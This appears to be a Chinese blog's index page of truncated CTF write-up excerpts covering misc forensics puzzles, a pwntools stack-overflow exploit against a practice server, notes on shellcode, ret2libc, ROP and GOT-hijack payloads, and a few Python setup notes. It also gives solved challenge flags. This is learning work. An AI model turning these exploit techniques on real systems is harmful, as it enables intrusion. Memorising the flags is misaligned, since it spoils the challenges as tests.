followme 1
原创
: [SUCTF2018]followme 1
[SUCTF2018]followme 1
拿到一个流量包
找字符串flag未果,好像就没什么能干的事情了。
倒不如把http流找出来。 可能还需要熟练一下wireshark 的用法。
导出HTTP对象,这个就是导出使用http协议的对象。
像是这个包里面大部分是这种东西。
1234567name=admin&password=123123123&referer=http%3A%2F%2F192.168.128.145%2Fbuild%2Fadmin%2Fname=admin&password=123123123&referer=http://192.168.128.145/build/admin/
1234567name=admin&password=789456123&referer=http%3A%2F%2F192.168.128.145%2Fbuild%2Fadmin%2Fname=admin& ...
神奇的二维码
原创
: [SWPU2019]神奇的二维码
[SWPU2019]神奇的二维码
先扫码,拿到了一个疑似flag的东西,flag{this_is_not_flag}
果然是提交不了。 使用binwalk
把隐藏的文件拿出来,拿到4个压缩包。
一个是base64编码。
这个是下一个文件的解压密码。
还有一个是flag.txt
可能有点过分了,是多次的base64解码。拿这个网站比较方便一点。
https://base64.supfree.net/
解码得到的是:comEON_YOuAreSOSoS0great
最后一个是音频文件,解压密码是上面得到的这段字符。
这段音频明显就是莫斯码。耳朵灵的可能能够听出来这段编码。
耳朵不大灵光的就用软件查看音频图。很容易看出来
Audacity(查看音频)
–/—/.-./…/./…/…/…-/./.-./-.–/…-/./.-./-.–/./.-/…/-.–
拿莫斯码转换器转换。
http://www.zhongguosou.com/zonghe/moErSiCodeConvert ...
docx
原创
: [UTCTF2020]docx
[UTCTF2020]docx
记得上一篇博客说过,这些docx,ppt什么的全部都是压缩包,准确来说是zip压缩包,通过某种手法显示为了我们看到的样子
但是看到docx这种题目还是会让人想起那个透明字符和隐藏文字给人带来的绝望。最好都要试一试。
这个docx,我觉得鬼才能看出来里面的flag藏在哪里。
但是把这个docx换成zip形式,里面的所有文件都将会一览无遗。
可能是把docx先做好再把这张图片塞进去做出来的题干吧。
个人认为这样塞进去的图片不会在docx中显示。
misc的题目让人心力交瘁。
unflag{unz1p_3v3ryth1ng}
find_me 1
原创
: [WUSTCTF2020]find_me 1
[WUSTCTF2020]find_me 1
这一题很有意思 一直在想这个备注怎么显示不全。
题目本来的图片是只读格式的,需要把只读的选项取消掉。
如果是只读格式,那么这个备注是现实不全的,而且无法复制。
这个一眼就可以看出和盲文很像。 盲文的在线地址:
https://www.qqxiuzi.cn/bianma/wenbenjiami.php?s=mangwen
wctf2020{y
0
0
0u_f
1
1
1n
d
d
d_M
e
e
ee
e
e
ee$e}
kali linux
原创
: kali linux
kali linux
在本日已经是第3次安装kali linux
但这次再也没有装好。
决心安装vmx格式,远离iso文件。
配置前要备份虚拟机,虚拟机出问题谁也拦不住。
pwn(2) 愚人发现了pwn的有趣之处 对于填充大小的研究
原创
: pwn(2) 愚人发现了pwn的有趣之处 对于填充大小的研究
pwn(2)
愚人发现了pwn的有趣之处 对于填充大小的研究
123456789#python3 from pwn import *p = remote('node3.buuoj.cn', '25822')payload = b'b' * (0x40+8)+ p64(0x40060D)p.sendline(payload)p.interactive()
抄了几个wp,一直很奇怪为什么这个填充的字符数量为什么规则不一样。
比如上面的填充规则是输入的字符大小+EBP大小
因为是64位的系统所以EBP大小是8,而前面的0x40是64位,也就是此处输入的字符大小。
后面的0x40060D是栈帧头,再push
ebp就是system(**)命令了。
需要的就是再+ebp的大小,以达到eip,eip里面放的是system(**)的地址。
这样合理性就很 充分了。
123456789101112131415#python3 from pw ...
easy misc 1
原创
: [安洵杯 2019]easy misc 1
[安洵杯 2019]easy misc 1
拿到一个压缩包
里面有一个加密的压缩包
这个压缩包里面有一个神秘的
代码,先把数值计算出来吧。反正misc的题目总是这个样子,也不是第一天知道了。
那么就先计算一个这个数值吧,
12345import mathx=2524921y=(math.pow(x,0.5)*85/5+2)/15-1794print(y)
算出来是7呀
FLAG IN ((√2524921X85÷5+2)÷15-1794)+NNULLULL,
这个东西理解起来铁定是有二义性的呀。
7+NNULLULL, 7NNULLULL, 都不对
发现这个原来是掩膜爆破
a = dIW b = sSD c = adE d = jVf e = QW8 f =
SA= g = jBt h = 5RE i = tRQ j = SPA k =
8DS l = XiE m = S8S n = MkF o = T9p p =
PS5 q = E/S r = -sd s = SQ ...
pwn学习记录笔记
原创
: pwn学习记录笔记
pwn学习记录笔记
转自知乎大神 ——
手把手教你栈溢出从入门到放弃
基础4方法
修改返回地址,让其指向溢出数据中的一段指令(shellcode)
修改返回地址,让其指向内存中已有的某个函数(return2libc)
修改返回地址,让其指向内存中已有的一段指令(ROP)
修改某个被调用函数的地址,让其指向另一个函数(hijack GOT)
修改返回地址,让其指向溢出数据中的一段指令(shellcode)
payload : padding1 + address of shellcode + padding2 + shellcode
会有一些权限的问题
而下面的两种方法就可以解决权限的问题 就是
修改返回地址,让其指向内存中已有的某个函数(return2libc)
修改返回地址,让其指向内存中已有的一段指令(ROP)
Return2libc
修改返回地址,让其指向内存中已有的某个函数
重点是找到系统级指令 payload: padding1 + address of system() +
pa ...
win32api查看屏幕分辨率error
原创
: win32api查看屏幕分辨率error
win32api查看屏幕分辨率error
123456import win32apiprint(win32api.GetSystemMetrics(win32con.SM_CXSCREEN))print(win32api.GetSystemMetrics(win32con.SM_CYSCREEN))# 1536 864
发现一个很有趣的现象,调用window api
,查看屏幕分辨率,得出的分辨率大小和实际的不相符
这个大小实际上是真实分辨率大小的80%
但是使用tk查看的分辨率大小是和实际分辨率大小一致的。
而tk本质上就是调用了这个api函数,得到的结果却不同
z3安装到Anaconda环境_突然成功
原创
: z3安装到Anaconda环境_突然成功
z3安装到Anaconda环境_突然成功
此前多次安装python z3库未果,会在安装到一半
时候跳出提示,写了一大堆的网址,总之是没有跳出success。
根据上古材料显示,z3只能安装在python2上面。于是安装在kali linux
上的python2上,但是安装在虚拟机上总是用起来不顺,也没有在虚拟机上安装ide。
在某一个没有星星的夜晚,偶然想起来一句神秘指令
pip install z3-solver
幸甚至哉 水文+1


